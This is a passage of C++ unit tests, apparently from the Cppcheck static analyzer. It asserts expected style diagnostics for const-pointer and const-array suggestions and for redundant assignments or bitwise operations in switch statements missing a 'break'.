ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", 